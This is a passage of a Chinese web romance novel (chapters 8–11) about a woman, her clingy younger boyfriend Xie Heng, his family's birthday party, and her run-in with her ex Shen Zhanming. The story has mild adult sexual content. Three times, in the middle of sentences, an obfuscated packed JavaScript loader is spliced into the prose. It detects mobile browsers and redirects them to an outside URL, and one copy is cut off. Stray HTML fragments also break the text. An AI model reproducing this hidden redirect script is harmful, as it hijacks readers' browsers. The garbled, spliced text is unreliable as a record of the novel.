司机在前面安静开车,她和谢桁坐在光线较为昏暗的后座。 外面灯光隐约流淌在谢桁身上,他今天穿得很正式,剪裁合体的西装勾勒出平直宽阔的肩背,双腿修长,棕色卷发全部向后抹去,露出轮廓深刻极具侵略性的五官。 他平时一头卷毛疏于打理,有种慵懒乖巧的甜蜜感。只有在这时候,夏曈才真真切切觉得,眼前此人是个21岁的,身高189并且具有超强攻击力的成年男性。 仅是与他同处于车内空间,就深刻感知到他明显的存在感。 夏曈低头忙着编辑文案,把剪好的视频上传,察觉到谢桁的目光不住地往她脸上飘,到最后像是要黏在她身上一样,不禁问:“怎么了?” 谢桁垂首凑近她,说悄悄话似的:“姐姐今天很漂亮。” 夏曈笑道:“谢谢。” 她脸上妆容还是品牌方给化的,清透自然,碎钻耳钉与颈上的项链是一套,光芒璀璨又并不喧宾夺主,小毛衣和半身裙是她的私服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469371|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔和又甜美,非常适合家庭聚会这种场合。 天色渐暗,车内没开灯,氛围暧昧朦胧。谢桁将挡板升起,直接伸手捏住她的后脖颈,重重吻上她的唇。 灼热的气息倾洒在脸颊,夏曈由着他咬了两下,才抬手抵在他的胸膛:“别把妆蹭花了。” 谢桁俯身,以一种很依恋的姿势将脸埋在她怀里,吸了一口气,同时掌心落在她腿上的打底,摸了一会儿,忽然低声说:“姐姐,想给你撕烂。” 夏曈的脸爆红。 这小子真是越来越会奖励自己了,不仅动不动就埋胸,现在还想玩这些。 “你看看场合,待会我们要给乐乐过生日。” 夏曈捏捏他的下巴,用了点力气将他的脸捧起来。 谢桁的脸是抬起来了,目光还落在她的半身裙未能掩盖住的领域,浓纤的长睫低垂,眼神直白而炽烈,恨不得钻进她的衣物中。 “等生日过完了再撕,”谢桁轻声说,“姐姐,我给你买一些这种衣服,你穿给我看,好不好?” 夏曈没有这种癖好,也没穿过意味特别明显的衣服。 可谢桁太会磨人了,她如果不答应,他一定会想尽各种办法逼她答应。 自从她那次温泉馆受凉发烧后,谢桁就有点歉疚心理,没敢再提什么过分的要求。再加上她这段时间忙碌,没精力再和他厮混,他也忙着期末考核和家里的事,算起来两人得有半个月没做过了。 难怪谢桁今天一见她就有点反应过度,灼热掌心在她后脖颈捏来捏去,不停试探。 夏曈想了想,也没有拒绝的理由。 干脆就如他所愿。 谢桁静静地注视她,目光带着审视和探究,不肯放过她脸上的任何细微表情。 他忽然低声问:“姐姐,你以前穿过那种衣服吗?和你的前男友。” 夏曈怔住,“问这个做什么?” 情侣之间最忌讳谈论前任。 而谢桁缺乏恋爱经验,显然不懂这个道理。 “没什么,我只是想知道。” 谢桁定定凝视她,眸中笑意浅淡,“如果姐姐之前没穿过,那么我就是第一个和姐姐这么做的人了。” 夏曈心念微动,就听他轻声说:“我想和姐姐拥有人生第一次的体验。” 他的瞳孔在灯光里泛出碎芒,一缕微卷的棕发落在耳畔,下巴磕在她的手心,润泽的唇瓣微抿,显出几分委屈与可怜。 他太乖了,也太懂得如何唤起人的怜悯心,让人恨不得什么都答应。 夏曈的底线一退再退,无法拒绝他的任何请求。 她颔首道:“好。” 谢桁满意地笑起来,在她唇角落下轻吻,被她掐了下脸蛋,这才终于老实地坐好。 车子转弯,道路两旁绿植逐渐青翠,已经远离喧闹的市中心,将要驶入安静的别墅区。 夏曈将平板放在包里,忽听谢桁说:“姐姐,我昨天去医院看望小姨,碰巧见到了她的主治医师。” 夏曈记得他提起过这事,谢桁的小姨是个不婚不育的事业型强人,上周去工厂考察时因为夜盲症而踩空台阶,摔到右臂骨折。 夏曈以为他会说起小姨的伤势状况,没想到他话题一拐,提起了主治医师,不由疑惑:“怎么了?” 谢桁转头看她,棕色眼瞳里笑意如星芒细碎:“姐姐,你猜那医生是谁?” 夏曈一愣。 不会这么巧吧? 没想到下一秒,就听到谢桁温和的嗓音响起:“居然是姐姐的新邻居。” 夏曈的嘴角勉力牵起一抹弧度:“是吗。” 谢桁抱着她,脸颊贴在她毛绒绒的发:“他姓沈,沈湛明。是不是很巧?” 夏曈轻声:“……是啊,哈哈。” 一抬眼,却见谢桁正目不转睛地盯着她看,那眼神带着探究,仔细观察她脸上的任何细微变化。 夏曈心跳加速,以为谢桁发现什么。 但谢桁仅是抬眸看了眼窗外,旋即牵起唇角,笑得温和又乖巧,“姐姐,到了。” 9. 第 9 章 谢家别墅坐落在临湖区,庭院升起为庆祝生日的篝火,温暖与明亮驱散冬日黑夜的寒冷,气球与彩灯点缀各处,一个身穿公主裙、头戴粉钻王冠的小女孩被众人簇拥着,站在花墙下拍照。 谢桁揽着夏曈走近,张开双臂笑道:“乐乐。” 谢涵乐闻声回头,粉雕玉琢的小脸立刻漾开笑容,“小叔叔!” 庭院里众人也闻声转身,脸带笑意看向走来的一对情侣。 夏曈净身高173,穿上马丁靴后更出众惹眼。修长高挑的身材让她在大部分男性身边都仿若众星捧月,但站在同样身量挺拔的谢桁身边,则是处处都般配。 小女孩提起裙角飞奔过来,一头扑进谢桁怀里,之后才想起优雅和矜持,细声细语对夏曈说:“小婶婶。” 夏曈笑着将准备好的礼物递过去,蹲身拥抱她一下:“乐乐,生日快乐。” 谢涵乐抿唇笑,她并非混血,一双大眼睛乌润又清秀,有点羞赧地看着夏曈,“谢谢,小婶婶今天好漂亮。” “小婶婶哪天都很漂亮,”谢桁温声纠正,捏了下她的鼻尖,“去玩吧。” 谢涵乐抱着礼盒离开后,夏曈才轻声问:“你教她这么叫的?” 她才来到谢家不过两次,就已经成了“小婶婶”。 谢桁态度坦然:“她要早点习惯你的身份。” 夏曈手指不着痕迹地在他结实的腰间掐了一把,谢桁抿唇闷哼,凑在她耳边轻声:“真狠啊姐姐,不过这点力气留在晚上再用吧。” 夏曈简直不想理他。 谢清岚女士站在台阶上迎接,面带笑意地看着他们搞小动作,直到人走近了,才非常温柔地拥抱了夏曈一下,“欢迎曈曈。” 同时转头问谢桁,“小桁,你又在不乖吗?” 谢桁长眉挑起,脸色无辜:“没有啊,妈妈。” 谢清岚早就对这个儿子的花言巧语免疫,只对夏曈说:“曈曈,这个人最会撒娇,不要惯着他。” 夏曈笑道:“记住了,阿姨。” 谢桁抿唇,很不满地看着这两人。 谢清岚懒得管他,拉着夏曈的手进了客厅。 谢桁就这么被丢在身后。他眼含怨念盯着夏曈的背影,忽地肩膀被人轻拍了下,转头一看,是表兄谢榆,也是今天小寿星的生父。 这对兄弟的身材一样高挑挺拔,只不过谢桁脸上的异国特征明显,身材又过于高大。但若仔细瞧,也能在他们的深邃眉眼找出些许相似。 毕竟两个人的母亲是亲姐妹。 谢榆淡声道:“二姨很喜欢你的女朋友。” “没人会不喜欢她。”谢桁一脸骄傲。 谢榆瞥他一眼,懒得回,只问:“准备什么时候结婚吗?” 谢桁:“我还没毕业,暂时不考虑这个。” “嗯,二姨也不是会逼着你结婚的人,晚几年也没关系。” 谢桁没作声。 晚几年,他是没关系,他有足够的耐心等待。 只怕夏曈不肯给他时间。 谢榆的视线紧紧追随着庭院里装扮精致的女儿,眼里笑意温柔。 他就这么一个孩子,捧在掌心里都怕被风吹走,自小娇惯着,一点苦头舍不得吃。也不怕她以后会闯祸受挫,反正有家底兜着。 当然,谢榆自认教育方式还算开明,谢涵乐又随她妈妈,脾气是大了点,但聪明,有主见。 谢桁抓抓头发,不经意问:“哥,结婚和谈恋爱有什么区别?结婚以后,是不是就能全心全意只爱对方一个人了?” “你搞错因果了。是先做到后半生心里只有对方,才有资格谈论步入婚姻的事。”谢榆眉心微蹙,“婚姻不是牢笼,你不能靠一张证明就把她牢牢绑在身边。” 谢桁不悦:“我没这么想。” 谢榆看他一眼:“你最好是没有。谢桁,别像小时候一样,得不到就只会撒娇胡闹。你的女朋友比你年长,也比你更成熟,她能在谈恋爱的时候迁就你,是她大度,但不代表她喜欢这样。收起你的少爷脾气,别动不动要她哄,一次两次可以说是情趣,多了就只会让她觉得累。” 谢桁不肯承认:“我什么时候要她哄了?” 谢榆平静道:“嗯,中秋节那会儿喝醉了非要她来接,还要她当着那么多人的面亲你的人是谁来着?” 谢桁没吭声。 谢榆淡道:“我跟你说这些不是在指责你,而是告诫你,不要总耍小孩子脾气。你以为的乐趣,殊不知在她眼中只代表着幼稚。她能惯着你一时,难道还要惯着你一辈子吗?你长不大吗?” 谢桁不服:“说得好像你很了解我们一样。” 谢榆眯起眼,唇角牵起一抹嘲弄的笑:“你大嫂当初跟我提分手,就是因为这个。她觉得我幼稚,说跟我在一起很累,耽误她发展事业。” 谢桁露出惊讶的神色。 他一直以为谢榆和大嫂的恋情从未出现过挫折,结婚生子也是水到渠成,没想到他们当初还闹过分手。 “因为我经历过,所以中秋节那次我一看你那个样子,就知道你们之前存在的问题。” 谢榆声音低沉,“适可而止,谢桁。别真到了她厌倦的那一天,你哭都来不及。” 彼此沉默片刻,庭院里欢声笑语,客厅内一派温馨,衬得他们这里过分安静。 良久,谢桁小声问:“那你们后来怎么和好的?” 谢榆默了瞬,淡声:“使了些手段,你不用知道。” 谢桁一怔,没作声。 谢榆外表斯文俊秀,但行事作风之狠辣,他身为表弟也有所耳闻。只难以置信,谢榆会把手段用在大嫂身上。 谢桁不想和夏曈走到那一步。 谢榆转换话题:“当年你大嫂忙到连蜜月都没时间度,跟我领证的第二天就出了国。生下乐乐之后,她也没休息多久,就去了中东。” 谢榆的妻子是一名国际新闻记者,常年在世界各地飞,陪伴他和孩子的时间寥寥无几。 家庭陪伴的缺失,换来事业上的成功。现在他的妻子在新闻领域已经取得了耀眼的成就。他身为丈夫,留在国内专心照顾家庭也是应该的。 就是必须要忍受长期分居的思念之苦。 谢桁沉默片刻,拍拍他的肩,语气轻松道:“大嫂那种投身于事业的性格,还肯照顾你的感受,甘愿放弃两年的工作生孩子,你就知足吧。别像个怨夫一样,哥哥。” 谢榆皱着眉瞪他一眼。 这小子自己又好在哪里了,狗皮膏药一样黏在女朋友那里,连自己家都不回,还敢大言不惭地教育他? 兄弟两人在台阶前站了一会儿,各有心事,各自嫌弃,最后很有默契地去庭院里陪谢涵乐拍照。 视野开阔、布置温馨的客厅里,沙发旁坐着几个西装革履的年轻人,俱是谢家的后辈,二楼有两位中年女性倚在扶手旁谈事。不远处壁炉静静燃烧,火光照射在老人的面庞上,显出慈祥与安宁。 谢清岚拉着夏曈的手走过去,轻声道:“妈妈,这是夏曈,小桁的女朋友。” 夏曈跟着问好:“姥姥您好。” 老人满头银发胜雪,眼珠清亮有力,看得出年轻时必是个美人。她面带笑意地看着夏曈,忽然开口说:“跟小桁谈恋爱,辛苦你了。” 夏曈怔住。 谢清岚哈哈笑起来,让她在椅子坐下,温声解释说:“我以前忙于打理公司事务,就把小桁扔给妈妈和老公带。小桁小的时候,怎么评价呢,非常黏人,又精力充沛。” 夏曈心说,他现在也没变。 谢清岚笑着:“我那时和他每天只相处一小会,都有些受不了他哼哼唧唧的样子。何况是妈妈。” 老人撇撇嘴:“还不都是跟那个毛子学的,父子俩一个德行啊,长得怪模怪样,满嘴甜言蜜语,把你迷得色令智昏,吵着闹着非要和他在一起。我当年给你挑了那么多联姻对象,哪个不是年轻英俊,你却挑了他。真不明白一个满头金毛的外国人有什么好,还值得你为他生孩子。” 不是接话的时机,夏曈垂下眼睫,静静微笑。 “好了,妈妈,这些话我都听了20多年啦,您再说,我也不可能把小桁塞回去。”谢清岚哄着她,“何况他现在不是很乖吗?还找了个这么可爱的女朋友。” 夏曈抬起头,就见老人的目光再度落在她脸上,关切道:“你可不能像他妈妈那样,万事都哄着他。男人不能哄,一哄就得意忘形,尤其谢桁这孩子,特别会得寸进尺。” 可不嘛。夏曈觉得这评价太一针见血了,没忍住抿唇笑起来。谢清岚也笑着抚了抚她的肩膀。 不多时,晚餐开始,谢桁和谢榆并肩走进客厅,老远就看到三人在壁炉边说说笑笑,谢桁立刻警觉,快步走过去:“姥姥!您是不是在说我的坏话了?” 老人抬眼,凉凉道:“是啊,说到你6岁时非要和一只柯尔鸭称兄道弟的事了。” 客厅里的人都笑起来,连谢涵乐都仰着脸问爸爸:“真的吗?小叔叔和柯尔鸭是兄弟吗?” 谢榆摸了摸她的头,微笑道:“是啊,片刻不离的好兄弟。” 谢桁脸颊泛起薄红,拉着夏曈走去一边,小声说:“她们刚才和你说什么了?” 夏曈笑说:“没什么,说你很乖。” “真的吗?”谢桁不信,准备落座的时候又凑过来和她咬耳朵,“姐姐,我小时候没有和柯尔鸭拜兄弟,我只是很喜欢它,想抱着它一起睡觉。” 夏曈含笑点头,“好。” - 饭后,谢桁拉着夏曈去湖边散步。 湖面微漪,倒映着远处的灯火光芒。晚风轻吹,风里夹杂着湖岸边腊梅和雪柳的寒香。 谢桁小声和她说着闲话,细致询问她今晚的感受,是否有感到不舒服、不自在的地方。 夏曈摇头。 谢家的女人偏多,掌权的也都是女性,对她照顾细致,不会说一些令她难堪的冷场话。 反而会站在她的角度,提醒她认真考虑和谢桁以后的事。毕竟谢桁体格大,若她想要小孩,是免不了疼痛的——当初谢清岚诞下谢桁,就吃尽了苦头。 夏曈并没有结婚生子的打算,闻言也只是微笑。 真正令她感到不解的是:“为什么会想到带我来见她们呢?” 谢桁邀请她时,说只是一次小型的家庭聚餐,只有谢涵乐和谢清岚她们会出场。 但她来到谢家才发现,今天到场的人非常多,几乎整个家族的人都来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469372|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以与其说谢桁想要她给乐乐过生日,更像是非常正式地把她介绍给谢家人。 夏曈并不排斥这样的正式,但前提是不要哄骗她。她有权利知道自己将要出席的是什么场合。 中秋节那会儿,谢桁就先斩后奏地这么搞过一次,她当时有些意外,但没多想,也没不开心——谢桁虽家教良好,但毕竟年龄还小,做事冲动些也无妨,她以后慢慢教他就是了。 但今晚,旧事重演。 谢桁静默一瞬,借着并不明亮的灯光观察她的脸色,小心道:“姐姐,你生气了吗?” “没有,”夏曈诚实道,“只是有些突然。” “突然?”谢桁站住,脸上笑意褪去,他轻声道,“姐姐,你是根本不想见我的家人吧。” 并不是疑问,而是一个笃定的语气。 夏曈皱起眉。 谢桁松开了揽住她腰的手,抿了抿唇,声线微微颤抖:“姐姐只想活在当下,从来没有考虑过和我的以后,不是吗?” 夏曈反问:“你所谓的以后是指什么?结婚、生子?” 谢桁一愣,眼瞳里的笑意彻底消失。 他回想着谢榆告诫过他的话,勉力压抑胸腔内翻涌的怨怒与不甘。夏曈对他的包容是有限的,他不可能永远任性,这只会将她越推越远。 他不太熟练地安抚道:“我们可以不要孩子,也可以不要那张证明,我不会强迫你去做你不愿意的事情……” 夏曈打断他:“可是你现在就在强迫我融入你的家庭啊。” 谢桁怔住,眼神近乎茫然地看着她。 夏曈轻声说:“当初我们不是说好了,这段感情只停留在我们两个之间,不涉及家人。没多久,你的侄女、妈妈和表兄都认识了我是谁,我也没有说过你什么。可是今天你把我带到这里,把我介绍给你们家所有的长辈、同辈和后辈,你又想得到什么呢?如果我不阻止你,下一次,你是不是就要寻找机会,在我不注意的时候,单方面向所有人宣布我们已经约定终生了?” 她的声音很轻,“谢桁,那张结婚证确实说明不了什么,至少它约束不了你。” 如果谢桁能沉得住气,别那么急躁,她不会说出这些话。 她不想把场面搞得那么糟糕,更不忍心让谢桁难过。 谢桁愣了好半天,才出声问:“我是做错了吗?” 湖边的风很冷,尖锐冷肃,吹得他眼眶发红,低而轻的声音也在颤抖。 夏曈一看他那副脆弱委屈的样子就要心软,连忙扭过脸去。 他的妈妈和姥姥说得一点不错,谢桁最会撒娇卖乖、得寸进尺,牛皮糖一样黏得人走不动路,可谁也不忍心责怪他。 她沉默片刻,还是重重叹了口气,走上前抱住他,“没关系,你还小。” 又是这种无奈得近乎纵容的语气,像是在哄小孩子,而不是在面对一个成年男人。 换作以前,谢桁会因为她的纵容感到甜蜜,此时却忍不住心里窝火,可他此刻再发作就更像无理取闹了,于是硬是忍住。 他抬手拿开她的手臂,不要她抱,“不要用这种态度,我不小。” 但他用的力气近乎于无,与其说推开她,倒更像在和她闹别扭。 夏曈也不恼,伸手去捏他的脸颊肉,轻笑道:“你还闹起脾气了?好吧,你不小。” 谢桁听到这个回答也没多高兴,但还是由她在自己脸上捏来捏去,半晌才小声问:“你讨厌我了吗?” 夏曈失笑,似是对他的想法感到意外:“怎么会?” 谢桁终于肯看她,长睫湿润,鼻尖微红,委屈又可怜。 “我没有想强迫你什么,我只是……怕你觉得我幼稚,怕你不愿意等我再成熟一点。” 他俯身把夏曈抱在怀里,用了点力气,闭着眼,终于说出在心底深埋已久的顾虑,“我怕你觉得我不如别的男人。” 夏曈歪头和他贴了贴脸颊,耐心道:“我为什么要把男朋友和别的男人做比较?” 谢桁静默片刻,声音更轻地问:“那相比你的前男友呢?” 怎么又提这茬? 夏曈细眉轻蹙,安抚道:“我已经忘记他什么样子了。不管是谁,我都不会拿你和他比的。宝宝,难道你会在心里偷偷把我和其他人比较吗?” 谢桁急切道:“当然不会!你在我心里就是独一无二的。” “对呀,所以我也不会拿你和别人比,因为你在我的心里也是独一无二。”夏曈柔声道,“宝宝,对自己有点信心好吗,你可是我的男朋友。” 话说到这份上,谢桁终于心情转好,将她紧紧抱在怀里。 夏曈笑得稍显无奈,同时松了一口气。 终于哄好了。 两人的每一次争执都是这样,本来应该是她在纠正谢桁的粗莽行为,发展到最后都变成了她在哄眼眶发红、委屈巴拉的谢桁。 难怪谢桁的姥姥说他是磨人精。 跟磨人精讲道理,是根本行不通的。 谢桁将下巴抵在她毛绒绒的发顶,低声保证:“姐姐放心,以后的任何事我都会提前和姐姐沟通,不会再擅自决定了。” 夏曈闭上眼:“好。” 至少目前来看,她的纠正是有效果的。 10. 第 10 章 夏曈拒绝了谢清岚的留宿邀请,在九点多的时候离开了谢家。 车子驶离错落的半山别墅群,慢慢朝热闹的市区而去。夏曈端坐在后座,第三次拒绝了谢桁想要和她一起回家的请求。 “关系再甜蜜的情侣也需要独处空间。至于答应你的事……过几天再说。” 夏曈语气坚决,抬手去推他拼命凑过来的脸,捂住他嘴巴里发出的不满咕哝声,“好了,不要撒娇。” 谢桁见她态度,也明白今晚是没戏,满心悲伤地在她胸口埋了好久,直到她下车,才依依不舍抬起脸来。 唯有眼神,依旧灼灼凝在她身上。 谢桁小声说:“姐姐不和我一起,那我只能在晚上,想着姐姐的样子,自己……” “啊啊啊!”夏曈捂住他的嘴不许他说,“这种事就不用告诉我了!” 谢桁闷声笑,胸腔发出低低的震颤。 “逗你的,姐姐。”他拉着她的手放在唇边亲了口,“晚安。” 反正他若是真想着她自己解决,她也不会知道。 夏曈脸颊烧得发红。 她无暇深思谢桁的话是真是假,又被他按着脑袋索了个漫长的晚安吻,气都喘不匀了,才被放下车。 夏曈站在小区门口的悬铃木下,看那辆车渐渐驶入车流,后知后觉想起,自己的唇妆估计都被他亲花了。 臭小子。她嘴巴都麻了。 夜晚光线昏暗,应该不会有人注意到,她取出纸巾随便抹了下,进小区时顺路买杯手打柠檬茶,边喝边慢悠悠往家走。 小区植被覆盖率很高,一年四季都不缺乏葱茏绿意。夏曈沿着一条较为僻静的小道走,偶尔和几个晚饭后散步的住户擦肩而过。马丁靴底踩在木质地面上,发出清晰平缓的声响。 这条小路蜿蜒曲折,两旁是高高撑起的架杆,夏天会开满蓝雪花和各色蔷薇,如今深冬,便只剩下枯萎的藤。 夏曈漫步走了一段,忽听前面传来说话声。 是两个女孩子的声音,夹杂着一个稍显冷淡的男声。 “……它不喜欢和猫玩。” “没有微信。” “没带手机。不好意思。” 沈湛明的声音。 夏曈站在原地没动。 她躲在一株玉兰树的阴影里,借着并不明亮的灯光看去,果然是沈湛明在牵着汤圆散步,旁边是两个年轻女孩子,怀里抱着只漂亮干净的布偶,布偶打扮精致,眼珠澄如琉璃。 哦吼,搭讪现场。 夏曈眯起眼,可不能破坏氛围。 她悄咪咪转身,想换条路走,结果刚迈出一步,身后传来汤圆欢快的叫声。 “……” 养的狗太聪明了怎么办? 她闭了闭眼,干脆假装没听见,头也不回,迈开步子快速离开。 反正沈湛明也不可能追上来,仅凭一个隐藏在黑暗里的背影,他也绝对认不出是她。 就算认出又怎样,她不想见他,还需要解释吗? 谁曾想。汤圆不明白这个道理。 汤圆的毛绒耳朵一支棱,撒腿就追,力度之大,颈间套着的绳子竟直接挣脱了沈湛明的手。 夏曈还没走出两步,一道黑白相间的影子倏地窜过来,拦在她的小腿不停绕圈。 夏曈换了个方向还想跑,又怕踩到它的狗爪,只好弯腿用膝盖轻轻去推它的脑袋,小声命令道:“汤圆,走开,走开!” 汤圆以为她跟自己玩呢,更来劲了,兴奋得直接往她身上扑。 它被沈湛明喂养得油光水滑的,体型也不小,这么一扑,险些把夏曈扑倒在地。 夏曈逃走失败,被汤圆顶着小腿,一路蹭到了沈湛明旁边。 沈湛明躬身从地上捡起狗绳,低声道:“汤圆。” 汤圆汪地叫了声,这才放弃夏曈的小腿,乖乖退后站在沈湛明身边,继续仰头看着她,吐舌。 夏曈尴尬又烦躁,可总不能和一只狗计较,于是只能冲着沈湛明咬牙低声:“能不能管好你的狗?” 沈湛明将狗绳握在掌心的动作微顿,“我的?” 薄薄镜片后的眼眸漆黑深邃,他一瞬不转地看着夏曈。 夏曈蓦地想起,汤圆当初是她闹着要买的,理由是沈湛明整天在实验室和医院两头跑,她在家好无聊。 可毕竟分手了,总不能再说“我们的狗”。 藕断丝连似的,仿佛爸妈离婚了彼此恨得要死,却还被孩子牵绊着,不得不见面。 旁边两个女孩子见氛围不对,对视一眼,抱着小猫悄无声息离开。 夏曈深吸一口气,坚持自己的说法不变:“现在是你的狗。” 说完这句话,她转身就走。 汤圆在她转身的瞬间就呜呜叫出声,沈湛明牵住汤圆不动。 这次牵紧了,汤圆没能追上她。 “夏曈。” 沈湛明很少叫她全名,叫“曈曈”居多,偶尔也喊乖乖。每次叫全名,都是她胡乱撩拨彻底惹火了他,他要亲手收拾。 久而久之,夏曈一听见他这么叫自己,就有点头皮发麻。 但沈湛明此刻的语调平静,像在称呼陌生人。 夏曈脚步顿住,沉默两秒后,才微微转身。 沈湛明原本皮肤就偏白,冬季日晒少,更显得冷白。花藤小路旁的灯光朦胧微弱,将他脸容映照得冷冽如雪,挺直鼻梁上架着的金属镜框边缘泛出冰冷寒光。 夏曈扭过脸,视线落在低垂的藤枝,小声开口:“有事就快说,没事我要回家了。” 不配合、不情愿、不肯久待的意味明显。 “这么久没见,”沈湛明眸光浅淡地看着她,薄唇微启,“你陪陪汤圆,不行么?” 夏曈怔住。 自两人分手后,她心里虽想念汤圆,但由于对沈湛明实在怨气深重,硬是开不了口。 其实她也很舍不得汤圆。虽说是沈湛明养的,但她也天天抱着它,当小宝宝一样,怎么可能没感情。 晚风冷寒,吹动光秃秃的树梢,一派萧索之意。 沈湛明的语气和表情亦是如此,冷淡如冰,却蕴含着让她无法拒绝的意味。 夏曈低头看汤圆,汤圆睁大一双明亮湿润的黑眼珠,歪着脑袋,满脸期待,见她看过来,还高兴地跳了两下。 “……好吧,”夏曈俯身摸了摸汤圆的脑袋,“要不你把它交给我,我陪它在小区走两圈?” 只要不跟沈湛明独处就好。 但沈湛明不给她这个机会。 “汤圆今天的运动量已经足够,如果不是你出现,我会把它带回楼上睡觉。” 他似笑非笑:“而且,我也不想它在外面待得太久,我没时间照顾一只生病的边牧。” 夏曈和汤圆贴了贴脸,眼中刚刚凝聚起的笑意因为这句话而瞬间消散。 她抬起妆容精致的脸,红唇勾起,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话说到这份上,已经触及禁区。夏曈当初年龄小,经不住好奇心的诱惑,可沈湛明呢,他向来冷静理智,不也是半推半就,逐渐沉溺,到最后干脆放任自己和她探索那些禁忌又刺激的游戏吗? “你的担心多余了。”沈湛明平静道,“那些事我敢做,就不怕任何人知道。” 夏曈一愣,没再说话,低头吸柠檬茶。 沈湛明的视线落在她身上的穿搭,轻轻皱眉。 晚上降温厉害,她下面却只穿半身裙,仿佛不知道冷,手里还捧了杯喝到一半的加冰饮料,磨砂塑料杯在朦胧灯光下泛出苔藓似的绿,冰块碰撞的声音清脆动听。 沈湛明对她确实有一定的掌控欲,但不会病态到给她做哥哥、做妈妈,再做保姆。 但面对夏曈这个顽劣无忌又精力充沛的女朋友,他怎么可能没有感到头痛的时候。 如今两人分手,沈湛明已经失去了再出言管她的立场,对她此刻不顾身体健康的举动,也只得状作无视。 他的眼神始终沉静,不着痕迹移开目光。 “走吧,去我家……”沈湛明话语稍顿,蹙眉道,“不必用这种眼神看我,我没有对你用强的癖好。跟我回家是因为至少在室内,你不会因为穿得单薄而再次生病。” 夏曈抿唇,无言狂怒,一把抢过他递来的狗绳,故意提高音量对汤圆说:“跟这种人生活这么久,真是辛苦你了!” “你和我同居两年零四个月,时间比它更长。” 沈湛明身高腿长,走在前面头也没回,“既然跟我一起生活很辛苦,夏曈,你当初能坚持这么久,是不是值得奖励?” 他惯常的温和语气,却不是哄她,反而隐含嘲讽。 夏曈以前见过他处理实习生犯的错,语气一派温和,嘲讽的话语却叫人难以招架、羞愧难当。 如今这份功力用在她身上,夏曈走在后面,恨不得化身汤圆,扑上去一口咬死他。 11. 第 11 章 夏曈坐在沈湛明家客厅沙发上,和汤圆一块玩它的毛绒玩具。 客厅摆设与上次过来没什么两样,黑灰白色调,除了茶几上的抽纸和遥控器之外,没有任何人类的生活痕迹。 沈湛明到底怎么过日子的?她甚至怀疑汤圆才是这个家里真正的主人,沈湛明只是个挣狗粮的。 电视机开着,正在播放某档综艺节目,一群艺人跑到农村体验生活,配上悠闲的BGM和文字,勉强增添一些放松的气氛。 夏曈不习惯在沙发,坐了一会儿就开始往下滑,到最后干脆盘腿坐在厚实温暖的地毯,汤圆黏黏糊糊挨在她身边。 她抬眸看一眼浴室的方向,里面隐约传来水声,玻璃门将明亮光线过滤投射在地板。 沈湛明是完全不把她当外人,把眼镜摘掉随手搁在茶几,转身就去洗澡,熟稔得仿佛俩人还在同居,一点都不担心她会不老实。 不,认真说起来,他们同居那会儿,夏曈才不老实。 她最喜欢在沈湛明洗澡的时候敲门进去,找各种借口非要和他一起洗,顺便在他线条美好的胸腹上抓抓挠挠。沈湛明也从不锁门,让她想进就进,等她玩够了想跑,再捏着她后脖颈,将人抓回来抵在墙上做。 夏曈也是那时才意识到,沈湛明虽称不上精壮,仅有薄肌,实则手臂和腰腹的力量都是实打实的强悍,与健身房那些蛋白粉喂出来的完全不一样。 抱着她弄,跟炒菜颠勺一样轻松。 她那时一直以为他被工作榨干来着。失策了,能在外科游刃有余的人都是体力怪。 夏曈边看电视,边给汤圆拆开小零食。汤圆嘎巴嘎巴吃得正欢,趴在落地窗边的胶布听见动静,一脸谄媚地迈着小短腿漫步走过来,冲着夏曈咪咪叫,试图通过夹子音卖萌换取一点口粮。 夏曈对上胶布那双智慧的眼睛,心想以为我不知道你平时叫唤是什么鬼动静吗?不过反正是小肉干,应该都能吃,于是又给胶布撕了一个。 胶布猛猫扑食,对铲屎官2号的供奉还算满意,然后像一辆卡车似的慢慢开走了。 底盘低就是这样的。 “该减肥了哦,不然会变成猪。” 夏曈轻声提醒,胶布对此不做任何反应,小猫咪听不得这种恶言恶语。 这时浴室里吹风机运行的声音停下,沈湛明走出来。 他身上浅灰色居家服在灯下显得柔软,清晰锁骨处泛着冷白的微光,仿佛还带着潮湿水气。 夏曈忍不住多看一眼,心里唾弃自己真是色令智昏,一边又给自己找借口,看看怎么了?谁说分手不能看的? 沈湛明在旁边单人沙发坐下,看了胶布一眼:“你养的?” 他的头发乌黑,因为刚洗过而蓬软,碎发搭在额头上莫名显出柔顺。 夏曈从他脸上收回目光:“嗯,我和男朋友一起养的,叫胶布。我刚才听到它在家里一直叫,才抱过来的。” 她歪头微笑:“你不会介意吧?” “只要你的男朋友不介意,”沈湛明语声平淡,“这个年龄的男生,占有欲都比较强,喜欢在一些小事上计较,不是吗?” 他把眼镜戴上,眸光隐在冰冷的镜片后显得尖锐而肃冷:“这一点,你应该深有体会。” 夏曈脸上笑意不变:“你是在说他,还是在说以前的你?” 沈湛明淡声:“我不记得我有那么幼稚过。” 夏曈唇角勾着笑,对峙一般与他对视良久,又觉得无聊似的移开目光。 沈湛明确实没幼稚过,从她认识他以来,他好像就没有过叛逆的青春期,一直是成熟冷静的模样。 如今分手了,他倒是句句带刺,三句话不离她的小男友。 夏曈目光盯着电视屏幕,冷不丁说:“他就算幼稚,也是我默许的。我就喜欢他这样,谁也说不得。” 